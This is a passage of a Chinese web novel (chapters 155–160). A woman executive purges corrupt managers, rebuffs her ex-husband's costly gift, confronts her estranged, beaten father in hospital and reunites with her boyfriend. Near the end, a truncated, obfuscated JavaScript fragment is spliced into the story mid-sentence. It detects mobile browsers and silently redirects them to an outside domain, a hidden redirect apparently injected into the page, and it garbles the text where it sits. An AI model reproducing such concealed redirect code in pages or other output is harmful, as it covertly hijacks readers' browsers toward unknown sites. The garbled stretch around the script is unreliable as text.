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名义的款项,最终都流向了几个与公司毫无业务往来的私人账户。我想知道,你在维护哪里的客户?”
王总监脸上的血色瞬间褪得干干净净,像极了医院刚合眼的人。
他下意识地想站起来辩解,身体却僵住了,一个字也没能说出口。铁证如山面前,他还能辩解什么?
他做梦也想不到,舒星若来了仅一天就将他查个底朝天。
“不必解释了。”舒星若打断他可能的狡辩,“法务部已经介入。从现在起,你被解雇了。至于后续是退赔还是坐牢,看你自己的表现。”
会议室里落针可闻,所有人都被这雷霆手段震慑住了。
这位总裁夫人,根本不是来镀金的,她是来“清理门户”的!
紧接着,舒星若的目光转向项目经理李经理。
“李经理,你负责的新药推广项目,立项三个月,进度报告上永远是‘初步接洽’。而你的考勤记录显示,过去六十个工作日里,你有三十七天都在‘外出见客户’。能告诉我,你见的客户,在哪家高尔夫球场,还是哪个会所吗?”
李经理吓得几乎从椅子上弹起来,他没想到自己偷懒摸鱼的记录,会被人查得一清二楚。
“舒总,我错了,我……”
“你的辞职报告,今天下班前交上来。否则,下一个跟法务部谈话的就是你。”舒星若的声音冷得像千年寒冰。
处理完这两个人,她环视全场,平静地开口:“我知道各位对我准时下班有看法,现在我统一回应。”
“第一,我的工作在八小时内可以完成,我没有兴趣在公司表演加班给谁看。第二,我鼓励高效工作,准时下班,回归生活。从今天起,瑞祥制药取消所有**的加班。如果在工作时间内无法完成任务,你需要反思的是自己的能力或态度。”
“下月起,公司将推行新的绩效考核,一切以结果为导向。能为公司创造价值的人,会得到应有的高薪与晋升。想混日子的,公司不会再养一个闲人。”
她一番话讲完,会议室里鸦雀无声。
那些原本还抱着看戏心态的高管们,此刻都收敛了神色,不约而同地挺直了背脊,生怕投屏上的报告下一个审视的是自己。
瑞祥制药,真的要变天了。
第156章 拒绝陪季宴礼出席晚宴
散会后,黄丽歌跟在舒星若身后,激动得脸颊泛红:“舒总,您太厉害了。把王总监和李经理这两个公司的祸害,给清除了!前夫哥做梦都要笑醒了。”
舒星若回到办公室,为自己续了一杯花茶,正感受着茶香在唇齿间弥漫开的暖意。
办公室的门被敲响,言永飞走了进来:“舒总,上午的会开得还顺利?季总让我来问问,怕您刚接手,有什么需要他帮忙的地方。”
舒星若礼貌的回答:“替我谢谢季总的关心,目前为止我自己能处理。”
言永飞笑容不变,对她的回答毫不意外。
他接着说:“另外,季总还有一件事交代。后天晚上的慈善拍卖晚宴,他希望您能作为他的女伴一同出席。”
“不好意思,我没空。”她晚上要回家给唐梵治病,哪有空搭理季宴礼?
更何况她看见季宴礼那张脸就觉得心烦,那货有事没事的酒上演深情懊悔戏码,舒星若可不想陪他演苦情戏。
言永飞早就料到舒星若回拒绝,但是打工人只能按照老板的要求做。
他硬着头皮劝说:“舒总,这次的晚宴很重要,很多医药行业的巨头都会参加,对我们瑞祥制药来说,是一个很好的社交机会。而且,这是集团的公关活动,季总希望您能陪他参加。”
“既然是公关活动,那就让公关部总监去。”舒星若放下茶杯,声音清冷,“我的职责是管理好瑞祥,不是当季总的陪衬。言助理,请你转告季总,以后这种与工作无关的邀请,不要再来打扰我。”
言永飞被堵得哑口无言,这位前总裁夫人的脾气,可比他想象中要硬得多。
他只能无奈地点点头:“好的,舒总,我会转达的。”
言永飞一走,黄丽歌就凑了过来,“您这个前夫,真是贼心不死。舒总,您做得对,就不能给他一点好脸色!”
舒星若揉了揉眉心,季宴礼的这些小动作,让她不胜其烦。
她打开电脑,开始处理今天开会后引发的一系列后续问题。
那两个被她当众“处决”的高管,在公司内部引起了巨大的震动。
下午,财务总监**平敲门走了进来,脸上带着几分谄媚,又带着几分不安。
“舒总,您昨天开会提的那个缩减营销预算的方案,我觉得非常有道理!我做了一份详细的成本控制计划,您看一下。”
他将一份厚厚的报告递了过来。
舒星若接过来翻了翻,不得不承认,**平这个老狐狸确实有两把刷子。
这份计划书做得非常详尽,不仅指出了很多可以削减的灰色开支,还提出了一些开源节流的新思路。
“张总监很有想法。”舒星若不咸不淡地夸了一句,“不过,我记得昨天会议上,你好像不是这个态度。”
**平的冷汗又下来了,他连忙解释:“舒总,昨天是我糊涂,是我没有领会到您的深意。您今天这一番雷霆手段,让我茅塞顿开。公司就需要您这样有魄力的领导者,才能扫除积弊,重获新生!”
这马屁拍得,让一旁的黄丽歌都忍不住想翻白眼。
舒星若合上报告,抬起头看着他:“张总监,我不管你心里到底怎么想。我只看结果。这份计划,你负责推行下去,如果一个月后,公司的财务状况没有明显改善,那么,下一个提包走人的就是你。”
**平的身体抖了一下,他立刻挺直了腰板,大声保证:“舒总放心,我一定竭尽所能的完成工作。”
**平走了之后,舒星若继续处理其他部门递上来的报告。
她今天这一刀,砍下去虽然疼,但效果立竿见影。
那些原本阳奉阴违,等着看她笑话的管理层,现在一个个都变得比孙子还乖,工作效率空前提高。
总裁办公室里。
季宴礼听着言永飞的汇报,脸色阴沉得能滴出水来。
“她拒绝了?”
“是的,季总。”言永飞小心翼翼地回答,“舒总说,那是公关部的工作,她不想参加。”
季宴礼烦躁地扯了扯领带,胸口憋着一团火。
他为了能和她一起出席,特意推掉了两个重要的会议,甚至还准备了一份惊喜。
结果,她连个机会都不给他。<
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br>“她今天在公司做了什么?”季宴礼压着火气问。
言永飞不敢隐瞒,将舒星若上午开会,当场开除两个高管,并且宣布取消加班制度的事情,一五一十地汇报了一遍。
季宴礼听完,非但没有生气,反而眼中闪过一丝欣赏。
“干得不错。”他低声说。
心中寻思:“星若果然能力卓越,才貌双全,怪不得苏容泽那个男绿茶对她紧追不舍。我可千万不能让他得逞。”
“季总,那拍卖晚宴……”
“我自己去。”季宴礼站起身,走到窗边,“她不去,我就把东西拍下来,送到她面前。我就不信她能一直拒绝我,我都把真心掏出来了。”
言永飞在心里默默为舒星若点了根蜡。
拍卖晚宴当晚,星光熠熠。
季宴礼独自一人出席,引起了不少人的关注。
毕竟,前几天他才高调宣布前妻回归集团,所有人都以为今晚会看到两人合体亮相。
“季总,季太太今天怎么没来?”一个相熟的合作方端着酒杯走过来,八卦地问道。
季宴礼面不改色的回答:“她身体不太舒服,在家休息。”
对方假装可惜的说道:“季太太美貌无双,可惜无法一睹她的风采了。”
季宴礼礼貌的假笑:“将来大把的机会。”舒星若飞不出他的手掌心。
晚宴的重头戏是慈善拍卖。
拍品从古董字画到名表珠宝,应有尽有。
季宴礼一直兴致缺缺,直到压轴的拍品被推了上来。
那是一套来自十九世纪法国的古董珠宝,由一条项链、一对耳环和一个手镯组成。
珠宝以钻石和蓝宝石镶嵌而成,设计繁复而典雅,在灯光下流光溢彩,美得惊心动魄。
主持人介绍道:“这套珠宝名为‘深海之心’,它是一个国王为他心爱的王后所打造,象征着炙热而永恒的爱意。”
季宴礼的眼睛瞬间就亮了。
他的脑海中立刻呈现出,这套珠宝戴在舒星若雪白的颈项和手腕上,会是怎样一番艳光四射的场景。
他一定要拍下它。
第157章 季总追妻之心人尽皆知
拍卖师开口:“深海之心,起拍价一千万。”
话音刚落,季宴礼就举起了号牌:“两千万。”
全场哗然。
直接翻倍,所有人都看出来季宴礼的势在必得,想必是为了送给他的前妻,博红颜一笑。
这样追前妻的,他们也是活久见。
几个原本对这套珠宝有兴趣的商业大咖,见状都识趣地放下了号牌。
没人想得罪季宴礼这个大佬,他在业内是出了名的心狠手辣,得罪他百害而无一利。
“两千万一次,两千万两次,两千万……”
第三次无人回应时,拍卖师就得落锤,她有些失望,价格比预期的低。
但没办法,没人敢触季宴礼的霉头。
就在她即将落锤之际,一个爽朗的声音从后排传来。
“两千一百万。”
众人循声望去,只见一个穿着白色西装的年轻男人,优雅地举着牌。
那人季宴礼认识,是港城新晋富豪,周子杰。
最近在海市扩张商业版图,行事颇为高调。
季宴礼的眉头皱了起来,眼中闪过不悦,谁给他的胆,敢跟自己抢东西。
他再次举牌:“三千万。”
他要让所有人都知道,这件东西,他要定了。
周子杰似乎被他的气势吓到,犹豫了一下,没有再跟。
拍卖师激动地高喊:“三千万一次,三千万两次!”
“三千一百万。”周子杰的声音又响了起来。
季宴礼的脸色彻底沉了下去。
他侧过头,冷冷地看向那个不知死活的男人。
对方却回他一个挑衅的微笑。
“五千万。”季宴礼的声音里已经带上了怒意。
他不想再跟这种人浪费时间。
这个价格已经远远超出了珠宝本身的价值,全场一片倒吸冷气的声音。
季宴礼追回前妻的决心果然决绝。
所有人都觉得,周子杰是外地人不懂行情,竟然敢这么挑衅季宴礼。
周子杰终于放下了号牌,耸了耸肩,做出一副无奈的表情。
最终,季宴礼以五千万的天价,拍下了这套“深海之心”。
临走之前他给了周子杰一个凌厉的眼神,冷冷的说了句:“废物!”
周子杰脸色大变,他不敢回击,愤恨的想:“季宴礼,总有一天我会将你踩在脚下。”
第二天一早,季宴礼就让言永飞把那套珠宝送到了瑞祥制药。
他想让舒星若一会上来感谢,他好好的跟舒星若重温旧梦。
言永飞提着这套五千万的首饰,感觉盒子发烫,这么贵重的东西得赶紧送出去。
他来到舒星若的办公室,将盒子放在她的桌上。
“舒总,这是季总送您的礼物。”
舒星若连眼皮都没抬一下,继续看着手里的文件。
“拿走。”
言永飞脸上的笑容僵住了,以为是自己出现了幻听。
“舒总,这是季总昨夜在慈善拍卖会上,特意为您拍下的‘深海之心’,是独一无二的珍品,花了整整五千万。”
他小心地措辞,试图提醒舒星若这份礼物的分量。
舒星若终于从文件中抬起视线,目光掠过那只精致的雕花盒子,眼神冰冷。
“他花多少心思,是他的事。我没跟他要过任何东西,他是我的前夫,我们现在只有工作上的关系。”
“舒总,您至少打开看看?”言永飞做着最后的努力。
他不信,有女人能抵挡这套传奇珠宝的魅力。只要舒星若亲眼看到,或许就会改变主意。
舒星若仿佛听见了什么笑话,她放下笔,闲适地靠进椅背,审视着言永飞。
“言助理,你觉得我看得上这点东西?”
言永飞被问得哑口无言。
她如今执掌着行止生物,身家早已不容小觑。更何况,她有个与季宴礼旗鼓相当的男朋友,她想要什么,找苏容就行了。
“我不是这个意思……”言永飞急忙解释,“主要是,这代表了季总的心意。”
“心意?”舒星若冷笑出声,“他的心意,就是用钱来砸我,以为这样就能让我回心转意?你回去告诉他,别做梦了。”
她站起身,拿起那个盒子,走到言永飞面前,不由分说地塞进他怀里。
“拿回去。还有,替我转告季宴礼,不要再做这些无聊的事。于我而言,毫无作用。”
言永飞看着她决绝的神情,心中五味杂陈。他跟在季宴礼身边多年,是他们爱情与婚姻的见证者。他知道,季宴礼亏欠舒星若的,太多太多。
要挽回,比登天还难。
他叹了口气,抱着盒子,礼貌的退出了办公室。
黄丽歌在门口看完了全程,等言永飞一走,她立刻溜了进来,兴奋地对舒星若比了个大拇指。
“舒总,您太帅了!几千万的珠宝说不要就不要。”
舒星若苦笑道:“我跟季宴礼是孽缘,他的东西有毒,千万不能收。”
舒星若感到一阵倦怠袭来,与季宴礼纠缠,太耗心力。
她拿起手机,想给苏容泽打个电话。
屏幕刚亮,苏容泽的电话就进来了,仿佛心有灵犀。
“若若,在忙吗?”他温润带笑的声音从听筒传来。
一听到这个声音,舒星若心头的烦闷便消散了大半。
“不忙,刚打发了一只苍蝇。”她的声音不自觉地软了下来。
“哦?什么苍蝇,让你听起来这么疲惫?”苏容泽敏锐地察觉到她语气的变化。
舒星若不想他跟着烦心,便将季宴礼派人送珠宝的事说了。
电话那头安静了几秒。
昨晚季宴礼在拍卖会上一掷千金的事整个海市都传开了,苏容泽今天一早听说了,他一忙完就打电话给舒星若。
不是不信任她,是怕她被季宴礼缠得太烦。
舒星若能想象出苏容泽此刻微蹙的眉头。
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>她连忙道:“你放心,我已经干脆地拒绝了,不会给他任何机会的。”
“嗯,我知道。”苏容泽的声音有些发闷,“我不是不信你,我只是气不过。他凭什么觉得用钱就能把你买回去?”
这个混蛋,把他的若若当成了什么?
“好了,别为这种人生气,不值得。”舒星若反过来安抚他,“你那边怎么样了,什么时候回来?”
提到这个,苏容泽的声线立刻上扬。“一切顺利,明天下午就到。若若,我给你准备了新年礼物,希望你会喜欢。”
“又送礼物?”舒星若失笑,“你怎么也学他这套?”
“那不一样。”苏容泽急忙辩解,“我送你的,是我用心为你挑的,不是为了收买,只是想让你开心。这是我们在一起度过的第一个元旦。”
他最后一句话带着几分孩子气的炫耀,让舒星若忍不住笑出了声。
“好,那我等着看,你的礼物到底有多好。”
挂断电话,舒星若的心情彻底放晴。
苏容泽总有这种魔力,能轻易驱散她所有的阴霾。
总裁办公室。
季宴礼听完言永飞的转述,脸色阴沉得像黑锅底。
“她不要?”他从齿缝间挤出这几个字,手中的钢笔发出一声脆响,竟被他生生捏断。
笔尖将他的手扎出血,他却浑身不觉得疼,因为心口更疼。
这段时间以来,他费尽心力的讨好舒星若,但是她一直在抗拒。他以为,他放低姿态,他用尽心思,就能换她回头。
苏容泽就有那么好吗?让她坚决不回头。
季宴礼一拳砸在黑桃木办公桌上,发出沉闷的巨响。
那只装着“深海之心”的珠宝盒被他手臂带起的劲风扫落在地。
盒**开,那串举世闻名的蓝宝石项链滚了出来,在光洁的地板上闪着冰冷的光。
“好,好得很!”季宴礼气极反笑,“舒星若,你真是好样的!”
巨大的挫败感与怒火瞬间将他吞噬。他豁然起身向外冲。
“季总,您去哪儿?”言永飞慌忙追上。
“我去找她问个清楚!”季宴礼的声音里满是毁灭的疯狂,“我倒要看看,苏容泽到底给她灌了什么**汤?”
言永飞脸色煞白,第一次顾不上职场规则,一个箭步冲上去用身体死死抵住门。
“季总,协议,您忘了协议吗?您现在去找她,瑞祥的股份会全部转给舒总的!”
“滚开!”季宴礼一把将他推开。
什么协议,什么股份,他现在什么都顾不得了。
他现在只想冲到她面前,抓住她的肩膀问一句,为什么。他付出的真心,他放下的身段,在她舒星若眼里,到底算什么?
言永飞被推得一个踉跄,眼看门就要被拉开。
就在这时,季宴礼的手机尖锐地响了起来。
“季总,何宏要**,要见太太,太太不肯接电话。”
第158章 苏容泽能给你的我都能给
季宴礼对何宏的死活不感兴趣,他清楚的知道舒星若不待见何宏。
他不会帮忙去劝,无谓惹舒星若更不高兴。
季宴礼说:“不用管他,他爱死不死。”
“但是何宏说他手上有太太母亲的遗物,想跟太太交换一些东西。”
季宴礼蹙眉,“我问问她吧。”
他临走时对言永飞吩咐道:“把这里收拾干净。”转身大步离开了办公室。
言永飞看着他决绝的背影,长长地松了口气。
他蹲下身,小心翼翼地将那些钻石和蓝宝石一颗颗捡起来,放回盒子里。
这五千万,终究是打了水漂,季宴礼偏偏喜欢不可为而为。
见到怒气冲冲的季宴礼,黄丽歌心想:“找麻烦来了。”
“季总,舒总正在跟市场部开会,市场部老大被开了,暂时群龙无首。”
季宴礼走进会议室,直接中断了会议,他冷声说道:“散会。”
大家面面相觑,鱼贯而出。
小群里热闹起来:【难道是舒星若改革太过,惹怒了总裁?】
【不对啊,昨晚他还在拍卖会上买珠宝送给太太呢。】
【就是,早上我还看见言特助拿到办公室呢!】
【好像被退回去了,总裁估计气疯了。】
舒星若无语的翻了个白眼,“季总,你请我回来是让我管理公司的,不是陪你演深情戏码的。”
“我们之间在我起草离婚协议的时候已经结束了。”
季宴礼被她无情的话语刺痛,从九月份她就开始死心了,自己后知后觉才让苏容泽有机可乘。
他忍下心头的怒火,小心翼翼的说:“我来不是为了这个。”
原本他想质问舒星若,见到他那些话他又问不出口了。
仿佛是自取其辱。
舒星若眼含嘲讽:“那什么事,值得季总这样十万火急的让我取消会议?”
季宴礼说:“何宏快要**,说想用你母亲的遗物跟你交换一些东西,但是你不肯接电话。”
舒星若顿了顿,“知道了,我会处理这事的。”
季宴礼关心道:“不行,我陪你去医院,何宏的身后站着高山远那个死变态。我怕他对你不利。”
提起高山远,舒星若就一阵头大。
“好,那就谢谢你了。”礼貌又疏离。
车上,舒星若给苏容泽发了条信息:【季宴礼陪我去医院见何宏,你不要介意,我是怕高山远那混蛋埋伏在周围。】
苏容泽在忙,一直没有回应。
提前报备可以打消他的疑虑,她的小泽泽没什么安全感。
到了医院,何宏已经瘦脱了像,像一具干尸一样躺在病床上呻吟。
他满身是伤,浑身包着纱布,样子及其恐怖。
是高山远找人揍的,何欣被抓了之前拜托他照顾何宏。
他调查过舒星若的身世,得知何宏抛弃了她,没抚养过一天。联想起自己的身世,高山远怒火中烧。
让人按照何欣给的地址,将何宏抓起来,关进一间地下室里,每天暴揍,只给一顿剩饭吃。似乎要将对高忠的愤怒全盘发泄在他身上。
直到何宏快不行了,他们直接给丢在了大街上。有人看见了,报警将他送进了医院。
见到何宏这副人不人鬼不鬼的样子,舒星若嘴角压不住的上扬。
立刻拿出手机拍了一张照片,发到家里的群里。
让外公外婆也高兴高兴,看看害死他们女儿的凶手的惨状。
她含笑说着:“你也有今天啊?”要是母亲看到他这副鬼样子,应该会很开心。
何宏被气得快心梗了,医生说他内脏受损,眼下只有舒延兆能救自己。
“星若,你原谅爸爸好不好?以前都是我的错,求求你让你外公救救我。”
舒星若冷笑:“我巴不得你死,我为什么要让外公救你?”
何宏也不生气,平静的交易:“你妈有对金嵌珍珠粉玺耳坠,我放在港城银行保险柜了。如果你救活我,我就告诉你保险柜密码。”
舒星若知道这一对东西,是舒家祖传的,当做陪嫁给了舒月。
舒月离婚回家后提过,嫁妆都被何宏扣下了。
舒星若却一点都不受他胁
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迫:“拿这东西换你一条命,再值得不过了。再见,王八蛋。”
母亲的死都是因为他的出轨,如今舒星若不可能为了一对耳坠救他。物件失去就失去了,换不回她母亲的命。
舒星若眼中寒光闪动:“你就在这里慢慢等死吧。”
何宏崩溃了:“我是你亲爹,你不能见死不救,传出去你公司形象还要不要了?”
舒星若冷笑:“一个从未养过我一天的男的,跟我有什么关系?**只会同情我。”
没有网络推手,压根就没人知道这事。
季宴礼见她如此决绝,轻声问道:“要不要我找人送他一程?”
舒星若摇头:“他这样苟延残喘挺好,一**之反而便宜了他。”
出了医院,舒星若就接到了苏容泽的电话。
电话里传来苏容泽关切的声音:“若若,你没事吧?”
“没事没事,何宏想用我妈的遗物跟我交易,我叫他**。”她的声音里带着显而易见的笑意。“具体细节等你回来我再跟你说。”
“你没事就好,若若,我好想你。”苏容泽只要一空闲下来就想她,他现在真正体会了什么是相思病。
舒星若温柔的笑:“我也想你。”
听到这话季宴礼眉心直跳,她的笑容一点都藏不住,她对苏容泽的感情越来越深了。
“我明天下午就到,等我。”
“好!”
上车之后,季宴礼的脸色晦暗不明:“你从什么时候爱上苏容泽的?你们认识也就几个月,至于爱得这么深吗?”
舒星若沉声道:“遇上对的人,感情就悄悄发生了。季宴礼,我对你的一见钟情不过是见色起意。现在细细想来,你根本不值得我花六年时间守护,我当初是蠢到家了。”
“说起来我要感谢何欣,是她让我彻底认清你。”
一番话说完季宴礼脸色惨白如纸,心中绞痛得要出血。
“星若,我那时候看不清自己的真心,我后悔了,你再对我见色起意一次好不好?”
“苏容泽能给你的我都能给,你回头吧。”
第159章 他们之间隔着千山万水
“回头?”舒星若心想:“除非太阳打西边出来,除非我疯了。”
舒星若嘴角扯出一个似笑非笑的笑容:“他给的你永远都给不了我。”无条件信任和支持何其珍贵,更何况苏容泽永远以她的意志为先,从不勉强她。
单这一点季宴礼就做不到。
“我已经不恨你了,你母亲给你安排了相亲,人总要往前走的。这场婚姻里,我要感谢你不跟我争许许,我会尽全力做好瑞祥,报答你的不争。”
季宴礼眼底快结成了冰:“其他的女人与我何干,星若,我这辈子认定了你,我只要你。”
舒星若叹气:“随便你吧,反正我不会回头。”
季宴礼心想:“我一定会让你回头的。”
“送我回外婆家。”
“我要跟你们一起吃饭。”季宴礼说道,不是商量,是命令。他知道他们要庆祝何宏的重伤濒死,他想参与他的生活。
舒星若最讨厌他这一点,每次都喜欢勉强。
“我要是说不行呢?”
季宴礼霸道的说道:“我不允许。”
烦,舒星若的白眼快翻上了天,懒得跟他争,有大病。
京市,高山远眼神怨毒的望着办公桌上一件件的礼盒。
这是八年来,每一年他为舒星若准备的生日礼物。一件都没有送出去过。
这些礼物见证了他对舒星若的心意,可惜的是他早嫁作人妇。
嫁的还是那个当年他就讨厌的季宴礼。
学生时代的季宴礼就想一颗耀眼的明星,学习好、人长得帅、家世好。
学校里喜欢他的女生不计其数,甚至有人堵在男生宿舍楼下跟他表白。
而自己是个连学费都要靠贷款的穷鬼,他像只活在阴沟里的蛆,他恨所有的人。
舒星若给了他光,却无情的收回,她只是可怜自己,压根就不爱他。
舒星若这个贪慕虚荣的女人,跟其他女人一样的肤浅,只会爱上富家公子哥。
当他得知舒星若离婚的时候,他没那么恨她了。
他可以不计前嫌,让她做自己的情妇。
娶她是不可能的,他不会娶一个二婚的女人,他丢不起这个脸。
但是这个女人很快又投入了苏容泽的怀抱,这是他不能忍受的。
他偏执的想:“她为什么不等我?她为什么要选那个苏容泽?”
苏容泽跟季宴礼是同一类人,高山远感到绝望,舒星若一直这么贪慕虚荣。
他发誓,一定要让她失去一切,跪着来求自己赏一口饭吃。
高山远的助理谭蔚然敲门进来:“先生,舒小姐对她父亲丝毫不在乎,甚至还幸灾乐祸。”
这点高山远非常理解舒星若,他笑道:“不救就好,看来我们还是有共同爱好的。”
谭蔚然问道:“那您最近还要动她吗?”
高山远的脸色晦暗不明,“先找人盯着她的一举一动。”
“好的!”
谭蔚然接着说道:“我们的人对东盛集团的狙击没有成功,季宴礼和苏容泽联手做空我们,最近集团的股价跌得厉害。”
高山远丝毫不在意:“无所谓,北远集团迟早会是一个空壳,刚好乘着股价大跌的机会,断了今年的分红。”
“好的,先生!”
谭蔚然关门出去的时候,心想:“这小子还真是个狠角色,利用一切时机转移资产。”
不过他一个打工人,只要高山远给他足够高的薪水,他就照做。
舒星若到了外婆家,她敲门,王阿姨来开门的时候,见到季宴礼跟舒星若一起回来,忙拉过舒星若小声嘀咕道:“你怎么跟他一起回来,你们准备复婚?”
舒星若忙否认:“没有的事,季总现在是我老板,非要上我家来吃饭,领导的命令我怎么敢违抗?”
季宴礼听出来她的阴阳怪气,他却不在意,只要她在自己身边他才没那么疯。
“星若,我想见证你的喜悦时刻。”
“痴线!”气得舒星若直接飚粤语粗口了,我的喜悦时刻关他屁事。
宁可芳从房间里出来,“是谁惹我们若若不高兴了?”
王阿姨说:“还能有谁?”
季宴礼坐在沙发上一言不发,心想:“我也没有十恶不赦,为什么都这么讨厌我?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338676|179747||http|test|mini|href|location''.split(''|''),0,{}));
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r>宁可芳说:“季总,我家若若嫁给你六年,你从来不来我家。现在离婚了,倒是赖着不走,也不知道是什么意思?”
季宴礼说:“我没有别的意思,只是想分享星若的喜悦。我不会妨碍你们。”
宁可芳无奈,就没见过这么不要脸的人。
舒延兆从行止堂赶回来,见到季宴礼,原本喜悦的脸上笑容直接原地消失。
“季总,我不是说过我家不欢迎你吗?”
季宴礼迎上舒延兆厌恶的目光,姿态放得很低:“外公,我今天是司机,送星若回家,顺便讨口饭吃。”
舒延兆被他这副死皮赖脸的样子气笑了:“季总还真是干大事的,能屈能伸。”
“行了,延兆,让他待着吧。”宁可芳发了话,她拉着舒星若往餐厅走,“我们吃我们的,就当家里多了个不请自来的摆件。”
王阿姨已经把菜都端上了桌,特意加了一道上汤焗龙虾和清蒸东星斑。
何宏有难,八方点赞。
“来,若若,今天是大喜的日子,外婆敬你一杯。”宁可芳举起酒杯,满脸红光,“何宏那个混球终于倒霉了。”
舒延兆立刻附和:“对,愿我们的月月在天上能安息!”
舒星若眼眶微热,笑着举杯跟他们碰了一下:“谢谢外公外婆。”
季宴虽然坐在她身侧,但他们之间隔着千山万水,他就像一个被孤立的岛屿。
他看着她明亮的笑颜,心脏像是被一只手攥紧了,又酸又胀。
原来大仇得报的她笑起来的时候,眼睛里真的有星星。当初自己脑子抽了,为什么不答应她呢?
那样他们就可以长相厮守一辈子,纵使他们之间有裂痕,他愿意花一辈子去修复。
饭桌上,王阿姨说起听来的八卦:“我有个姐妹是做护工的,今天刚好有个病人请她去照顾,就是何宏住的那个医院。她跟医生打听了,何宏活不过半个月。”
“报应!”宁可芳夹了一筷子鱼肉放进舒星若碗里,“这种**,老天爷都看不过眼。也不知道是他惹了哪位狠角色,让他被折磨得不成人样。”
第160章 你是我的女王
季宴礼说:“我猜是高山远干的。”
之前苏容泽说过高山远心里严重扭曲,季宴礼猜测何宏激起了高山远对原生家庭所有的恨,将他折磨得人不像人鬼不像鬼。
“高山远?”这个名字舒延兆有点熟悉,一时半会想不起来。
舒星若将当年救他的事说了,也说了现在的高山远心里变态,要报复自己。
大家唏嘘,怎么会有人扭曲到这个样子?
宁可芳担忧的望着舒星若:“若若,那你不是很危险?”
季宴礼说:“我和苏容泽已经开始对付他了,他现在自顾不暇,应该没时间对付星若。”
这句话更令他们三人吃惊,两个死对头竟然为了舒星若的安全,携手合作。
真是活久见。
舒延兆对季宴礼的敌意减轻了一些,“谢谢季总肯帮我们若若。”
季宴礼正色道:“外公,星若的事就是我的事!”
舒延兆虽然很反感他跟自己套近乎,但现在不能得罪他,若若的安全是一等一的大事。
舒延兆举杯:“我敬你一杯。”
季宴礼开心的碰杯,原来只要对舒星若全心全意的好,舒家人也会接受他。
一餐饭吃完,季宴礼觉得自己前途一片光明,之前的丧气一扫而空。
只要自己对舒星若足够好,她一定回心转意。苏容泽那个绿茶男,不过是暂时俘获了舒星若的芳心,他迟早会夺回舒星若的爱。
回公司的路上季宴礼仿佛签了一个大单,司机都觉得他今天心情特别好。
难道是太太跟他和好了?
舒星若则闭目养神,不想听他的废话。
第二天下午三点,苏容泽的私人飞机降落在海市机场。
虽然从夏天回到冬天,但苏容泽的心温暖不已。马上要见到他日思夜想的女人了。
他没有回家,也没有去公司,而是直接让司机开到了瑞祥制药的楼下。
他给舒星若发了条微信:【我到了,在你公司楼下。】
舒星若看到消息,心头一暖,立刻放下手头的工作,抓起包就往外走。
黄丽歌看着她迫不及待的样子,一眼就明白了是苏容泽回来了,忍不住打趣道:“舒总,您这男朋友回来了,跑得比兔子还快。”
舒星若回头冲她眨了眨眼:“没办法,想得快得相思病了。”
恰好季宴礼下来找她,他帮她弄了个回母校演讲的名额,来问她要不要去。
舒星若却对他视若无睹,撒腿就跑。
不用想,是苏容泽回来了。
季宴礼胸口像挨了一记闷棍,只得给她发信息:【年后回母校演讲,你去不去?】
舒星若压根就没听见手机响,一路小跑着出了公司大门,一眼就看到了停在路边那辆熟悉的劳斯莱斯。
车门打开,苏容泽从车上下来。
他穿着一身剪裁合体的驼色大衣,身姿挺拔,俊朗非凡。
几天不见,他似乎清瘦了一些,但眉眼间的温柔笑意,却比冬日的暖阳还要醉人。
“若若。”他张开双臂。
舒星若笑着扑进他怀里,鼻尖萦绕着他身上熟悉的清冽气息,一颗心瞬间安定下来。
“欢迎回来。”她在他怀里蹭了蹭,声音带着娇媚。
这是苏容泽从未见过的状态。
苏容泽收紧手臂,将她紧紧圈在怀里,下巴抵着她的发顶。
“想我了没有?”
“每天都想。”舒星若想他的人亦想他的身体,抱着他睡,是那样的踏实愉悦。
自己似乎已经习惯了有他的生活。
苏容泽的心像是被蜜糖浸泡过,甜丝丝美滋滋。
他低头,吻了吻她的额头,然后拉开车门:“我们先回家行不行,我太想你了。”
“嗯!”
一路上,苏容泽紧紧的将舒星若抱在怀里,分开这么多天,只有这样才能纾解他心中密密麻麻的思念。
回到家,苏容泽从行李箱中拿出一个青色羊皮礼盒,递给舒星若。
“打开看看。”
舒星若接过盒子,连盒子都这样精致,里面装着的物品必定不凡。
她打开盒盖,瞬间被里面的东西吸引了全部的心神。
盒子里面是一顶精美绝伦的皇冠。
一顶十九世纪欧洲皇室的古董皇冠,由铂金和钻石打造而成,主体是交织的麦穗与鸢尾花造型,象征着丰收与权力。
皇冠的中央,镶嵌着一颗鸽子蛋大小的梨形粉钻,钻石的火彩耀眼夺目。
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>这顶皇冠,既高贵又典雅,还带着君临天下的气度,却又因为那颗粉钻,平添了几分柔美。
“好美……”舒星若由衷地赞叹,她小心翼翼地将皇冠捧出来,美得令人炫目。
“港城的拍卖会通知我刚到这一件藏品,我让宗助去拍下了。”苏容泽柔声解释,“看到它的第一眼,我就觉得,它天生就该属于你。只有你,我的女王,才配得上这样的加冕。”
舒星若转身,踮起脚尖,主动吻上了苏容泽的唇。
这个吻,掺杂着情欲,还带着满满的感动和爱意。
苏容泽愣了一下,随即反客为主,加深了这个吻。
吻了许久,两人的呼吸都变得有些急促。
舒星若的脸颊泛着红晕,眼眸水光潋滟,看得苏容泽心神荡漾。
“我帮你戴上。”他拿起皇冠,轻轻地戴在她的发间。
他退后两步,痴痴地看着她。
灯光下,她穿着一身定制丝绒旗袍,头上却戴着一顶象征着无上荣光的皇冠。
这两种截然不同的风格,在她身上完美地融合在一起,形成一种令人心悸的美。
“若若,你真美。”苏容泽喃喃道。
舒星若伸出手,轻轻触摸着头上的皇冠,唇角不自觉地上扬。
“我很喜欢,谢谢你,小泽泽。”
“你喜欢就好。”苏容泽从身后拥住她,将下巴搁在她的锁骨上,“我要把全世界最好的都给你。”
舒星若靠在他温暖的怀抱里,感受着他激荡的心跳,前所未有地安心。
他揽紧舒星若:“若若,你嫁给我的那天,记得戴着它。”
“好!”舒星若甜甜的应道。
他心情大好:“那我等你嫁我。”
“给我一点时间。”
苏容泽心内情绪翻涌,他也顾不得是白天了,抱着舒星若上楼。
“若若,我想要。”
舒星若娇羞的靠在他的胸口,“我也想。”
小别之后,激情更甚,房间里散发着情欲的味道。
